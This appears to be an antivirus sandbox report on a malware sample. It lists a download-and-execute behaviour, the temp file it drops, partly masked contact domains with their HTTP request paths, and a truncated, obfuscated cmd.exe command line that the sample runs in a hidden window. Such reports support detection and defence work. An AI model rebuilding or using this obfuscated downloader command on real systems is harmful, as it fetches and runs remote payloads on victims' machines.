Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' \c %ProgramData:~0,1%%ProgramData:~9,2% \V:O\C"set LEA=uUTnlInWPSJGzFDwviio(Cxc)e8dp$mj0yVfOX;@Bb,+Eg:NHZhR}r{\\A3skL=.'ta- K&&for %W in (29;53;47;51;62;64;15;40;65;64;38;29;4;31;65;62;6;25;15;...
Modifies file system
Creates the following files
- %TEMP%\38.exe
Deletes the following files
- %TEMP%\38.exe
Substitutes the following files
- %TEMP%\38.exe
Network activity
Connects to
- 'al####irmccoy.co.uk':80
- 'er###veld.eu':80
- 'er###veld.eu':443
- 'de###ware.com':80
- 'ha##ore.in':80
- 'ap##.org':80
TCP
HTTP GET requests
- http://al####irmccoy.co.uk/0R
- http://er###veld.eu/tKlZyU
- http://de###ware.com/PbF
- http://de###ware.com/cgi-sys/suspendedpage.cgi
- http://ha##ore.in/UXxra
- http://ap##.org/zTADPIb
Other
- 'er###veld.eu':443
UDP
- DNS ASK al####irmccoy.co.uk
- DNS ASK er###veld.eu
- DNS ASK de###ware.com
- DNS ASK ha##ore.in
- DNS ASK ap##.org
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' \c %ProgramData:~0,1%%ProgramData:~9,2% \V:O\C"set LEA=uUTnlInWPSJGzFDwviio(Cxc)e8dp$mj0yVfOX;@Bb,+Eg:NHZhR}r{\\A3skL=.'ta- K&&for %W in (29;53;47;51;62;64;15;40;65;64;38;29;4;31;65;62;6;25;15;...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /V:O/C"set LEA=uUTnlInWPSJGzFDwviio(Cxc)e8dp$mj0yVfOX;@Bb,+Eg:NHZhR}r{/\A3skL=.'ta- K&&for %W in (29;53;47;51;62;64;15;40;65;64;38;29;4;31;65;62;6;25;15;67;19;41;31;25;23;65;68;47;25;65;63;7;25...
